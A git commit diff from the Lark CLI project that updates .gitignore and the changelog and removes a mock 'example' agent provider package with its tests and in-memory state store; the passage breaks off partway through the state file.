docs(skills): add drive permission setting reference

Document the lark-drive guidance for drive +permission-get-setting so agents can route permission setting reads to the shortcut and understand its inputs, output shape, and permission-related errors.

.gitignore

@@ -27,6 +27,9 @@ Thumbs.db
 # Go
 docs/ref
 docs/
+!tests/cli_e2e/docs/
+!tests/cli_e2e/docs/*.go
+!tests/cli_e2e/docs/*.md
 vendor/
 
 
@@ -52,8 +55,3 @@ cover*.out
 
 lark-env.sh
 /automations/
-
-# Local-only proof artifacts and coverage reports (never committed)
-coverage.html
-tests_e2e/
-tests_skill_eval/

CHANGELOG.md

@@ -2,6 +2,44 @@
 
 All notable changes to this project will be documented in this file.
 
+## [v1.0.64] - 2026-07-02
+
+### Features
+
+- **im**: Upgrade card send to Card 2.0 with full component reference (#1688)
+- **im**: Add `+chat-members-list` shortcut for member listing (#1398)
+- **okr**: Semi-plain text format with mention position preservation and `patch` shortcut (#1671)
+
+### Bug Fixes
+
+- **cli**: Point permission-apply link at official `/page/scope-apply` entry (#1722)
+- **cli**: Improve secure label error handling (#1707)
+- **cli**: Reduce public content token false positives
+- **cli**: Increase npm registry fetch timeout to 15s during update check (#1724)
+- **doc**: Align word statistics compound tokens (#1706)
+
+### Documentation
+
+- **approval**: Add detailed command-to-reference mapping for the approval skill (#1630)
+- **doc**: Support `reference_map` in docs (#1690)
+- **slides**: Refresh generation guidance — add constraints, drop template toolchain, and inline lint XML fixtures
+
+## [v1.0.62] - 2026-07-01
+
+### Features
+
+- **vc**: Add meeting message send shortcut (#1643)
+- **doc**: Add document word statistics helper (#1697)
+- **cli**: Interactive upgrade prompt for bare `lark-cli` invocation (#1498)
+- **install**: Fail closed when `checksums.txt` is missing during install (#1503)
+
+### Bug Fixes
+
+- **drive**: Improve batch failure handling for push/pull/sync (#1703)
+- **base**: Support JSON array input for field create (#1661)
+- **task**: Expose completion state in `my tasks` output (#1641)
+- **cli**: Reduce public content credential false positives (#1700)
+
 ## [v1.0.61] - 2026-06-30
 
 ### Features
@@ -1317,6 +1355,8 @@ Bundled AI agent skills for intelligent assistance:
 - Bilingual documentation (English & Chinese).
 - CI/CD pipelines: linting, testing, coverage reporting, and automated releases.
 
+[v1.0.64]: https://github.com/larksuite/cli/releases/tag/v1.0.64
+[v1.0.62]: https://github.com/larksuite/cli/releases/tag/v1.0.62
 [v1.0.61]: https://github.com/larksuite/cli/releases/tag/v1.0.61
 [v1.0.60]: https://github.com/larksuite/cli/releases/tag/v1.0.60
 [v1.0.59]: https://github.com/larksuite/cli/releases/tag/v1.0.59

agent/example/example.go

@@ -1,365 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-// Package example is the in-repo agent provider onboarding template and offline
-// demo backend: a hypothetical example business domain whose data / calls are
-// entirely in-memory mocks, with zero network. It has three roles:
-//
-//  1. A copy-start point for new integrators — copy the whole package and rename
-//     it; every key decision point carries a teaching comment from the
-//     "integrator's perspective" (how to fill registration fields, which
-//     capabilities to wire, how to make capability trade-offs);
-//  2. The command tree's offline demo backend — the full agent
-//     list/card/send/task/context chain runs for real without any platform
-//     configuration;
-//  3. A stable mock scheme for cmd-layer tests.
-//
-// Minimal checklist for onboarding a new provider (each item is demonstrated in
-// this package):
-//   - register metadata via agent.Register in init() (see the per-field comments below);
-//   - construct a *agent.Provider in the Factory, wiring one func field per
-//     capability you support — the core Send/GetTask are mandatory, every other
-//     field is optional and "not wired = not supported" (the framework returns a
-//     unified unsupported_capability error and derives the card matrix from what
-//     is wired, so there is no bool matrix to keep in sync and no capability-
-//     refusal code to write);
-//   - a catalog type (KindCatalog) must wire ListAgents (asserted at registration);
-//   - add a blank import under agent/register.go to trigger init registration;
-//   - run agenttest.RunConformance in tests to lock down implicit contracts.
-package example
-
-import (
-	"context"
-	"fmt"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-)
-
-// scheme is this provider's ref prefix (example:<agent_id>). It is globally
-// unique; duplicate registration panics during init (aligned with the
-// sql.Register convention, fail-fast to expose onboarding errors).
-const scheme = "example"
-
-// catalog is the full agent set known at registration time. The catalog
-// boilerplate (enumeration / per-agent Card metadata / typed error for unknown
-// ids) is handled by the framework's StaticCatalog; the integrator only declares
-// the descriptive data. Capabilities are NOT declared here — see newProvider,
-// where each agent's supported capabilities are expressed by which Provider func
-// fields the Factory wires.
-var catalog = agent.NewStaticCatalog(scheme, []agent.CatalogEntry{
-	{
-		ID:          "echo",
-		Name:        "复读机",
-		Description: "把你发的话原样复读一遍（同一会话续发时带轮次，证明上下文记忆）。最小能力集示范。",
-	},
-	{
-		ID:          "reporter",
-		Name:        "报表生成器",
-		Description: "对任意请求产出一份内联 CSV 报表 artifact，示范 artifact 下载与任务取消链路。",
-	},
-})
-
-func init() {
-	// Registration contract (internal/agent/registry.go): everything except
-	// RequiredScopes is required; missing / invalid values panic. At registration
-	// time it also constructs a Provider once via a zero-value Deps probe — so the
-	// Factory must accept zero-value Deps and an empty agentID, have no side
-	// effects during construction (no network, no disk), and wire the mandatory
-	// core fields (Send/GetTask) plus, for a catalog type, ListAgents.
-	agent.Register(scheme, agent.ProviderInfo{
-		Factory: newProvider,
-		// Label: the user-facing provider name (the LABEL column in agent list).
-		Label: "Example 演示 agent（内存 mock，零网络）",
-		// AgentRefFormat: the written format of agent_ref, must start with "<scheme>:" (validated at registration).
-		AgentRefFormat: "example:<agent_id>",
-		// AgentIDSource: tells the user / AI where to get the agent_id — key
-		// information for AI-guided onboarding, referenced by the unknown-id hint
-		// and the not-discoverable list hint.
-		AgentIDSource: "运行 lark-cli agent list example 查看内置演示 agent 及其 agent_ref（无需任何平台配置）",
-		// Kind: catalog type. Registration asserts the provider wires ListAgents,
-		// so `agent list example` can enumerate.
-		Kind: agent.KindCatalog,
-		// RequiredScopes: the full set of scopes this provider's real API calls
-		// need. example has zero network and calls no OAPI, so it is empty —
-		// scope preflight (cmd/agent/preflight.go) always passes for the empty
-		// set. A real provider must list every scope used by any verb (preflight
-		// is all-or-nothing).
-		RequiredScopes: nil,
-		// Identities: supported calling identities and their preconditions. The
-		// mock treats user/bot alike; if a real provider has a precondition for
-		// some identity (e.g. a bot needs channel whitelisting), put it in
-		// Precondition and the card passes it through to the AI verbatim.
-		Identities: []agent.IdentitySpec{
-			{Type: agent.IdentityUser},
-			{Type: agent.IdentityBot},
-		},
-	})
-}
-
-// state addresses one agent in the catalog. agentID may be empty — the
-// enumeration path (agent list example) and the registration probe construct a
-// state without an id.
-type state struct {
-	deps    agent.Deps
-	agentID string
-}
-
-// newProvider is the registered Factory. It assembles a *agent.Provider by
-// wiring the func fields for the capabilities this agent supports.
-//
-// Teaching focus — capability is expressed as wiring, per agent:
-//   - Core Send/GetTask are wired unconditionally (mandatory).
-//   - The always-on optionals (ListTasks, the context trio, ListAgents, Describe)
-//     are wired for every agent.
-//   - reporter additionally wires CancelTask + DownloadArtifact and sets
-//     FileInput — echo does not, so echo's card honestly shows task_cancel /
-//     artifact_download / file_input = false. There is no bool matrix: the card
-//     is derived from exactly these fields (internal/agent/card.go DeriveCapabilities).
-//   - A capability you do not wire needs zero refusal code: the command layer
-//     gates on the nil field and returns unified unsupported_capability before
-//     any provider method runs.
-//
-// Teaching point — the Factory does pure assignment only: it does not validate
-// agentID (an unknown id is rejected by catalog.Lookup inside the verbs that use
-// it, and by Describe on the card path; the empty-id probe/enumeration instance
-// must construct successfully) and does not touch deps (the mock has no use for
-// Client/As, but construction must have no side effects either way — the
-// zero-value Deps probe contract).
-func newProvider(deps agent.Deps, agentID string) (*agent.Provider, error) {
-	s := &state{deps: deps, agentID: agentID}
-	p := &agent.Provider{
-		Send:          s.send,
-		GetTask:       s.getTask,
-		ListTasks:     s.listTasks,
-		ListContexts:  s.listContexts,
-		GetContext:    s.getContext,
-		DeleteContext: s.deleteContext,
-		ListAgents:    s.listAgents,
-		Describe:      s.describe,
-	}
-	// Per-agent capability: reporter can be canceled and produces a downloadable
-	// artifact, accepts file input, and may pause a task in input_required; echo
-	// (minimal set) does none of these, so those fields stay nil/false and the
-	// framework reports them unsupported.
-	if agentID == "reporter" {
-		p.CancelTask = s.cancelTask
-		p.DownloadArtifact = s.downloadArtifact
-		p.FileInput = true
-		p.InputRequired = true
-	}
-	return p, nil
-}
-
-// describe supplies the per-agent Card metadata and validates the agent_id
-// (StaticCatalog.Describe returns a typed unknown-id error). Capabilities are
-// derived by the framework from the wired fields, so Describe never touches them.
-func (s *state) describe(ctx context.Context) (*agent.CardInfo, error) {
-	return catalog.Describe(s.agentID)
-}
-
-// listAgents enumerates the catalog: `agent list example` goes here.
-func (s *state) listAgents(ctx context.Context) ([]agent.AgentSummary, error) {
-	return catalog.ListAgents(ctx)
-}
-
-// send sends one message: the first turn generates a context_id to start a new
-// conversation, and --context-id continues within the same conversation. The
-// mock task has no async execution body, so send immediately returns in the
-// completed terminal state — the command layer's meta.next therefore directly
-// gives the terminal-state suggestion "view task detail and artifacts" rather
-// than a polling command.
-//
-// Teaching point (IsTerminal): IsTerminal is filled in here for convenience, but
-// leaving it out would be fine — the command layer's normalizeTask always
-// re-derives this field from State (single source), so a provider filling it in
-// wrong does not affect the watch exit code.
-func (s *state) send(ctx context.Context, in agent.SendInput) (*agent.AgentTask, error) {
-	entry, err := catalog.Lookup(s.agentID)
-	if err != nil {
-		return nil, err
-	}
-	// The mock task is instantly terminal, so there is no "feed input to a running
-	// task" scenario. Continuing via --task-id returns failed_precondition: the
-	// request itself is valid but the target resource's state does not satisfy it
-	// — reading this subtype, the AI knows to "try a different way" (start a new
-	// task) rather than retry as-is. (This is a genuine runtime precondition, not
-	// a capability gate — hence a typed error here, not an unwired field.)
-	if in.TaskID != "" {
-		return nil, errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"example 的任务发出即完成（终态），无法向已有任务续发").
-			WithParam("--task-id").
-			WithHint("去掉 --task-id，用 --context-id 在同一会话起新一轮任务")
-	}
-
-	ctxID := in.ContextID
-	if ctxID == "" {
-		// First turn: generate a context_id (the anchor for the multi-turn
-		// context; later sends use it to continue the conversation).
-		ctxID, err = store.createContext(s.agentID, truncateTitle(in.Text))
-		if err != nil {
-			return nil, err
-		}
-	}
-
-	// createTask validates context ownership while holding the lock (an unknown /
-	// cross-agent context id is rejected inside with a typed validation error),
-	// computes the round, and inserts atomically; the build callback only
-	// assembles the task body according to the round.
-	task, err := store.createTask(s.agentID, ctxID, func(round int) agent.AgentTask {
-		var reply string
-		switch entry.ID {
-		case "echo":
-			// Echo the input; from round 2 on, add a round marker to prove
-			// across commands that context memory really works.
-			reply = in.Text
-			if round > 1 {
-				reply = fmt.Sprintf("%s（第 %d 轮）", in.Text, round)
-			}
-		default: // reporter
-			reply = "报表已生成：quarterly_report.csv（见 artifacts，用 task get --artifact <id> -o <path> 下载）"
-			if n := len(in.Files); n > 0 {
-				reply = fmt.Sprintf("已收到 %d 个附件；%s", n, reply)
-			}
-		}
-		t := agent.AgentTask{
-			TaskID:     newID("task"),
-			ContextID:  ctxID,
-			State:      agent.StateCompleted,
-			IsTerminal: true,
-			Messages: []agent.Message{
-				{Role: "user", Parts: []agent.Part{{Type: "text", Text: in.Text}}},
-				{Role: "agent", Parts: []agent.Part{{Type: "text", Text: reply}}},
-			},
-		}
-		if entry.ID == "reporter" {
-			// The artifact exposes only fields the provider can truly deliver
-			// (the contract.go rule: do not create empty shell fields that cannot
-			// be filled): the GetTask stage gives ID + Kind (a coarse-grained type
-			// hint), while the file name / mime are exposed at the
-			// DownloadArtifact stage as suggested_name.
-			t.Artifacts = []agent.Artifact{{ID: newID("art"), Kind: "text"}}
-		}
-		return t
-	})
-	if err != nil {
-		return nil, err
-	}
-	return &task, nil
-}
-
-// getTask queries a single task's state and artifacts (reads the in-memory state machine).
-func (s *state) getTask(ctx context.Context, taskID string) (*agent.AgentTask, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	task, err := store.getTask(s.agentID, taskID)
-	if err != nil {
-		return nil, err
-	}
-	return &task, nil
-}
-
-// listTasks lists tasks, optionally filtered by contextID (empty string means no filter).
-func (s *state) listTasks(ctx context.Context, contextID string) ([]agent.TaskSummary, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	return store.listTasks(s.agentID, contextID), nil
-}
-
-// cancelTask cancels a task. It is wired only for reporter (task_cancel=true), so
-// echo never reaches it — the command layer gates echo's cancel on the nil field
-// and returns unsupported_capability before any provider code runs. The mock
-// task is completed the moment it is sent, so canceling a terminal task returns a
-// failed_precondition typed error (state not satisfied, exit 2) rather than
-// pretending success — honest error semantics matter as much as honest capability
-// wiring.
-func (s *state) cancelTask(ctx context.Context, taskID string) error {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return err
-	}
-	task, err := store.getTask(s.agentID, taskID)
-	if err != nil {
-		return err
-	}
-	if task.State.IsTerminal() {
-		return errs.NewValidationError(errs.SubtypeFailedPrecondition,
-			"任务 '%s' 已处于终态 %s，无法取消", taskID, task.State).
-			WithHint("终态任务不可取消；用 lark-cli agent task get example:%s %s 查看结果", s.agentID, taskID)
-	}
-	return store.setTaskState(taskID, agent.StateCanceled)
-}
-
-// listContexts lists multi-turn contexts.
-func (s *state) listContexts(ctx context.Context) ([]agent.ContextSummary, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	return store.listContexts(s.agentID), nil
-}
-
-// getContext returns a single context's detail (including its task list).
-func (s *state) getContext(ctx context.Context, ctxID string) (*agent.ContextDetail, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	return store.getContext(s.agentID, ctxID)
-}
-
-// deleteContext deletes a context (a destructive operation; the --yes gate is in the command layer).
-func (s *state) deleteContext(ctx context.Context, ctxID string) error {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return err
-	}
-	return store.deleteContext(s.agentID, ctxID)
-}
-
-// reportCSV is the fixed content of the reporter artifact (inline text, demonstrating a Bytes-type artifact).
-const reportCSV = "quarter,revenue,cost,margin\n" +
-	"2026Q1,1250,830,0.336\n" +
-	"2026Q2,1410,905,0.358\n"
-
-// downloadArtifact fetches artifact data. It is wired only for reporter
-// (artifact_download=true); echo never reaches it (gated on the nil field).
-// example uses the inline Bytes type (the command layer writes it to disk
-// directly); the URL type (a real provider's signed URL) fills the URL field, and
-// SSRF validation plus the download are handled uniformly by the command layer.
-//
-// Teaching point (suggested_name): ArtifactData.Name is the "server-suggested
-// file name", echoed back only as a suggested_name for the caller to reference
-// when choosing -o — it is untrusted input and must never participate in
-// constructing the local save path (the contract.go rule; the save path is
-// always determined by -o/SafeOutputPath).
-func (s *state) downloadArtifact(ctx context.Context, taskID, artifactID string) (*agent.ArtifactData, error) {
-	if _, err := catalog.Lookup(s.agentID); err != nil {
-		return nil, err
-	}
-	task, err := store.getTask(s.agentID, taskID)
-	if err != nil {
-		return nil, err
-	}
-	for _, a := range task.Artifacts {
-		if a.ID == artifactID {
-			return &agent.ArtifactData{
-				Name:  "quarterly_report.csv",
-				Mime:  "text/csv",
-				Bytes: []byte(reportCSV),
-			}, nil
-		}
-	}
-	return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"任务 '%s' 名下没有产物 '%s'", taskID, artifactID).
-		WithHint("运行 lark-cli agent task get example:%s %s 查看该任务的 artifacts", s.agentID, taskID)
-}
-
-// truncateTitle takes the first few characters of the message as the
-// conversation title (truncated by rune to avoid cutting a character in half).
-func truncateTitle(s string) string {
-	const max = 20
-	r := []rune(s)
-	if len(r) <= max {
-		return s
-	}
-	return string(r[:max]) + "…"
-}

agent/example/example_test.go

@@ -1,311 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package example
-
-import (
-	"context"
-	"path/filepath"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/agent/agenttest"
-)
-
-// swapStore replaces the package-level store with an isolated instance pointing at
-// t.TempDir, so tests do not pollute each other or the local demo snapshot.
-func swapStore(t *testing.T) {
-	t.Helper()
-	old := store
-	store = newMemoryStore(filepath.Join(t.TempDir(), "state.json"))
-	t.Cleanup(func() { store = old })
-}
-
-// buildProvider builds an example *Provider with zero-value Deps (the mock never needs a Client).
-func buildProvider(t *testing.T, agentID string) *agent.Provider {
-	t.Helper()
-	p, err := newProvider(agent.Deps{}, agentID)
-	if err != nil {
-		t.Fatalf("newProvider: %v", err)
-	}
-	return p
-}
-
-// TestConformance runs the shared conformance suite: locking registration metadata,
-// the zero-value Deps contract, the single-source Card, and catalog enumeration (the
-// discovery group automatically verifies ListAgents contains example:echo and enumerates stably).
-func TestConformance(t *testing.T) {
-	agenttest.RunConformance(t, scheme, "echo")
-}
-
-// TestConformanceReporter runs it again with reporter, so both catalog entries are locked by the contract.
-func TestConformanceReporter(t *testing.T) {
-	agenttest.RunConformance(t, scheme, "reporter")
-}
-
-// TestCapabilityMatrixDiverges pins the deliberate difference between the two agents'
-// capability matrices (the core of the teaching demo: honest capability declaration
-// plus task_cancel true for one and false for the other).
-func TestCapabilityMatrixDiverges(t *testing.T) {
-	// The card matrix is derived from which Provider fields the Factory wires per
-	// agent, so DeriveCapabilities over the two constructed providers is the
-	// single source under test.
-	ec := agent.DeriveCapabilities(buildProvider(t, "echo"))
-	rc := agent.DeriveCapabilities(buildProvider(t, "reporter"))
-	if ec.ArtifactDownload || ec.FileInput || ec.TaskCancel {
-		t.Errorf("echo should be the minimal capability set (no artifact/file/cancel), got %+v", ec)
-	}
-	if !ec.MultiTurn || !ec.TaskGet || !ec.TaskList {
-		t.Errorf("echo should support multi_turn/task_get/task_list, got %+v", ec)
-	}
-	if !(rc.ArtifactDownload && rc.FileInput && rc.TaskCancel && rc.InputRequired && rc.MultiTurn && rc.TaskGet && rc.TaskList) {
-		t.Errorf("reporter should have everything enabled, got %+v", rc)
-	}
-}
-
-// TestEchoMultiTurn verifies multi-turn context memory: the first turn echoes the
-// original text and generates a context_id, and a follow-up in the same context
-// echoes with a turn marker.
-func TestEchoMultiTurn(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "echo")
-	ctx := context.Background()
-
-	t1, err := p.Send(ctx, agent.SendInput{Text: "hello"})
-	if err != nil {
-		t.Fatalf("first-turn Send: %v", err)
-	}
-	if t1.State != agent.StateCompleted {
-		t.Fatalf("send should be immediately completed, got %s", t1.State)
-	}
-	if t1.ContextID == "" || t1.TaskID == "" {
-		t.Fatalf("first turn should generate context_id/task_id: %+v", t1)
-	}
-	if got := agentReply(t, t1); got != "hello" {
-		t.Fatalf("first-turn echo should be the original text, got %q", got)
-	}
-
-	t2, err := p.Send(ctx, agent.SendInput{Text: "再来", ContextID: t1.ContextID})
-	if err != nil {
-		t.Fatalf("follow-up Send: %v", err)
-	}
-	if t2.ContextID != t1.ContextID {
-		t.Fatalf("follow-up should stay in the same context: %q vs %q", t2.ContextID, t1.ContextID)
-	}
-	if got := agentReply(t, t2); got != "再来（第 2 轮）" {
-		t.Fatalf("second-turn echo should carry a turn marker, got %q", got)
-	}
-
-	// GetTask / ListTasks / ListContexts / GetContext read the same state machine.
-	got, err := p.GetTask(ctx, t2.TaskID)
-	if err != nil {
-		t.Fatalf("GetTask: %v", err)
-	}
-	if agentReply(t, got) != "再来（第 2 轮）" {
-		t.Fatalf("GetTask should replay the stored messages, got %+v", got.Messages)
-	}
-	tasks, err := p.ListTasks(ctx, t1.ContextID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(tasks) != 2 {
-		t.Fatalf("the same context should have 2 tasks, got %d", len(tasks))
-	}
-	ctxs, err := p.ListContexts(ctx)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 1 || ctxs[0].ContextID != t1.ContextID {
-		t.Fatalf("should have exactly 1 context with a matching id, got %+v", ctxs)
-	}
-	detail, err := p.GetContext(ctx, t1.ContextID)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(detail.Tasks) != 2 {
-		t.Fatalf("context detail should contain 2 tasks, got %+v", detail)
-	}
-}
-
-// TestStateSurvivesReload pins the cross-process semantics: swapping in a new store
-// instance pointing at the same snapshot file (simulating a new CLI process), the task
-// is still queryable -- the offline demo chain depends on this.
-func TestStateSurvivesReload(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "echo")
-	task, err := p.Send(context.Background(), agent.SendInput{Text: "persist"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	// A new store instance = a new process view; only the snapshot file is shared memory.
-	store = newMemoryStore(store.path)
-	got, err := p.GetTask(context.Background(), task.TaskID)
-	if err != nil {
-		t.Fatalf("GetTask after reload: %v", err)
-	}
-	if got.ContextID != task.ContextID {
-		t.Fatalf("task should replay fully after reload: %+v", got)
-	}
-}
-
-// TestReporterArtifactFlow verifies the full artifact chain: send produces {ID, Kind:text},
-// and DownloadArtifact returns inline Bytes + suggested_name.
-func TestReporterArtifactFlow(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "reporter")
-	ctx := context.Background()
-
-	task, err := p.Send(ctx, agent.SendInput{Text: "本季度报表"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(task.Artifacts) != 1 {
-		t.Fatalf("reporter should produce 1 artifact, got %+v", task.Artifacts)
-	}
-	art := task.Artifacts[0]
-	if art.ID == "" || art.Kind != "text" {
-		t.Fatalf("artifact should carry ID + Kind=text, got %+v", art)
-	}
-
-	data, err := p.DownloadArtifact(ctx, task.TaskID, art.ID)
-	if err != nil {
-		t.Fatalf("DownloadArtifact: %v", err)
-	}
-	if data.Name != "quarterly_report.csv" {
-		t.Errorf("suggested_name should be quarterly_report.csv, got %q", data.Name)
-	}
-	if data.Mime != "text/csv" {
-		t.Errorf("mime should be text/csv, got %q", data.Mime)
-	}
-	if !strings.HasPrefix(string(data.Bytes), "quarter,revenue") {
-		t.Errorf("should return inline CSV bytes, got %q", string(data.Bytes))
-	}
-
-	// Unknown artifact id -> typed validation error.
-	if _, err := p.DownloadArtifact(ctx, task.TaskID, "art_nope"); err == nil {
-		t.Fatal("unknown artifact id should return an error")
-	} else if _, ok := errs.ProblemOf(err); !ok {
-		t.Fatalf("unknown artifact id should be a typed error, got %T: %v", err, err)
-	}
-}
-
-// TestEchoUnwiredCapabilities verifies the new capability model: echo (the
-// minimal set) simply leaves CancelTask / DownloadArtifact unwired and FileInput
-// false. There is no capability-refusal code — the command layer gates on the
-// nil fields and returns unsupported_capability before any provider method runs.
-func TestEchoUnwiredCapabilities(t *testing.T) {
-	p := buildProvider(t, "echo")
-	if p.CancelTask != nil {
-		t.Error("echo should not wire CancelTask (task_cancel=false)")
-	}
-	if p.DownloadArtifact != nil {
-		t.Error("echo should not wire DownloadArtifact (artifact_download=false)")
-	}
-	if p.FileInput {
-		t.Error("echo should not accept file input (file_input=false)")
-	}
-}
-
-// TestReporterCancelTerminal verifies reporter supports cancel but returns a
-// failed_precondition typed error for a terminal task (the mock task is completed
-// as soon as it is sent).
-func TestReporterCancelTerminal(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "reporter")
-	ctx := context.Background()
-	task, err := p.Send(ctx, agent.SendInput{Text: "报表"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	err = p.CancelTask(ctx, task.TaskID)
-	if err == nil {
-		t.Fatal("canceling a terminal task should return an error")
-	}
-	prob, ok := errs.ProblemOf(err)
-	if !ok {
-		t.Fatalf("terminal cancel should be a typed error, got %T: %v", err, err)
-	}
-	if prob.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("terminal cancel subtype should be failed_precondition, got %s", prob.Subtype)
-	}
-}
-
-// TestUnknownCatalogID verifies an unknown catalog id goes through StaticCatalog.Lookup's
-// typed error (invalid_argument, with a hint pointing to agent list example).
-func TestUnknownCatalogID(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "nonexistent")
-	ctx := context.Background()
-	if _, err := agent.BuildCard(ctx, scheme, "nonexistent", p); err == nil {
-		t.Fatal("BuildCard with an unknown catalog id should return an error (Describe validates the id)")
-	}
-	_, err := p.Send(ctx, agent.SendInput{Text: "hi"})
-	if err == nil {
-		t.Fatal("Send with an unknown catalog id should return an error")
-	}
-	prob, ok := errs.ProblemOf(err)
-	if !ok || prob.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("unknown catalog id should be an invalid_argument typed error, got %v", err)
-	}
-}
-
-// TestSendGuards pins Send's two typed rejections: --task-id follow-up (terminal
-// semantics) and an unknown context id.
-func TestSendGuards(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "echo")
-	ctx := context.Background()
-
-	_, err := p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_x", TaskID: "task_x"})
-	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeFailedPrecondition {
-		t.Fatalf("--task-id follow-up should be failed_precondition, got %v", err)
-	}
-
-	_, err = p.Send(ctx, agent.SendInput{Text: "hi", ContextID: "ctx_missing"})
-	if prob, ok := errs.ProblemOf(err); !ok || prob.Subtype != errs.SubtypeInvalidArgument {
-		t.Fatalf("unknown context id should be invalid_argument, got %v", err)
-	}
-}
-
-// TestDeleteContext verifies deleting a context also cleans up the tasks under it.
-func TestDeleteContext(t *testing.T) {
-	swapStore(t)
-	p := buildProvider(t, "echo")
-	ctx := context.Background()
-	task, err := p.Send(ctx, agent.SendInput{Text: "bye"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if err := p.DeleteContext(ctx, task.ContextID); err != nil {
-		t.Fatal(err)
-	}
-	if _, err := p.GetTask(ctx, task.TaskID); err == nil {
-		t.Fatal("after deleting the context its tasks should be unqueryable")
-	}
-	ctxs, err := p.ListContexts(ctx)
-	if err != nil {
-		t.Fatal(err)
-	}
-	if len(ctxs) != 0 {
-		t.Fatalf("no contexts should remain after deletion, got %+v", ctxs)
-	}
-}
-
-// agentReply returns the first text reply from the agent role in the task.
-func agentReply(t *testing.T, task *agent.AgentTask) string {
-	t.Helper()
-	for _, m := range task.Messages {
-		if m.Role != "agent" {
-			continue
-		}
-		for _, part := range m.Parts {
-			if part.Type == "text" {
-				return part.Text
-			}
-		}
-	}
-	t.Fatalf("task is missing an agent text reply: %+v", task.Messages)
-	return ""
-}

agent/example/state.go

@@ -1,324 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package example
-
-import (
-	"crypto/rand"
-	"encoding/hex"
-	"encoding/json"
-	"os"
-	"path/filepath"
-	"sort"
-	"sync"
-	"time"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/agent"
-	"github.com/larksuite/cli/internal/vfs"
-)
-
-// ============================================================================
-// In-memory state machine (teaching focus: concurrency safety of package-level
-// state + the CLI process boundary)
-//
-// A real provider's context/task state lives on the server, so the adapter is
-// naturally stateless; example is a pure mock and must manage state itself. Two
-// disciplines the integrator needs to know:
-//
-//  1. Concurrency safety: provider instances may be constructed / called
-//     concurrently (e.g. list's probe alongside the real call), so package-level
-//     mutable state must be locked. A single coarse-grained Mutex covers all
-//     reads and writes here — the mock does not chase throughput; correctness comes first.
-//  2. CLI process boundary: every lark-cli command is a fresh process, so a pure
-//     in-memory map does not survive a single command — after `send`, a
-//     `task get` would find nothing. So a lazy JSON snapshot layer sits beneath
-//     the in-memory map (under os.TempDir, last-writer-wins) to make the offline
-//     demo chain work across commands. A real provider neither needs nor should
-//     have this layer — it is a mock-only demo device.
-//
-// Note that the snapshot is loaded lazily (only on the first real read/write of
-// state): Register's zero-value Deps probe constructs a provider once at
-// registration time, and construction must have no side effects (the registry.go
-// contract), so Factory / Card / ListAgents must not touch store.
-// ============================================================================
-
-// taskRecord is a task's storage form: a full AgentTask snapshot + owning agent
-// + creation sequence number (list output sorts by creation order to guarantee
-// stable enumeration).
-type taskRecord struct {
-	AgentID string          `json:"agent_id"`
-	Seq     int             `json:"seq"`
-	Task    agent.AgentTask `json:"task"`
-}
-
-// contextRecord is a multi-turn context's storage form. TaskIDs is appended in
-// creation order — len(TaskIDs)+1 is the next round number, which echo uses to
-// demonstrate "context memory".
-type contextRecord struct {
-	AgentID   string   `json:"agent_id"`
-	ContextID string   `json:"context_id"`
-	CreatedAt string   `json:"created_at"`
-	Title     string   `json:"title,omitempty"`
-	Seq       int      `json:"seq"`
-	TaskIDs   []string `json:"task_ids"`
-}
-
-// memoryStore is the package-level state machine itself: mu covers all fields;
-// path is the JSON snapshot location; loaded ensures the snapshot is read only
-// once, on first access.
-type memoryStore struct {
-	mu     sync.Mutex
-	path   string
-	loaded bool
-
-	Contexts map[string]*contextRecord `json:"contexts"`
-	Tasks    map[string]*taskRecord    `json:"tasks"`
-	NextSeq  int                       `json:"next_seq"`
-}
-
-// store is the package-level singleton. Tests use swapStoreForTest to replace it
-// with an instance pointing at t.TempDir, avoiding cross-contamination between
-// tests and between tests and the local demo state.
-var store = newMemoryStore(filepath.Join(os.TempDir(), "lark-cli-example-agent.json"))
-
-func newMemoryStore(path string) *memoryStore {
-	return &memoryStore{
-		path:     path,
-		Contexts: map[string]*contextRecord{},
-		Tasks:    map[string]*taskRecord{},
-	}
-}
-
-// loadLocked lazily reads in the snapshot (the caller must already hold the
-// lock). A missing / corrupt snapshot is uniformly treated as empty state — the
-// mock's demo data is not worth erroring over, so it just starts fresh.
-func (s *memoryStore) loadLocked() {
-	if s.loaded {
-		return
-	}
-	s.loaded = true
-	data, err := vfs.ReadFile(s.path)
-	if err != nil {
-		return
-	}
-	var snap memoryStore
-	if json.Unmarshal(data, &snap) != nil {
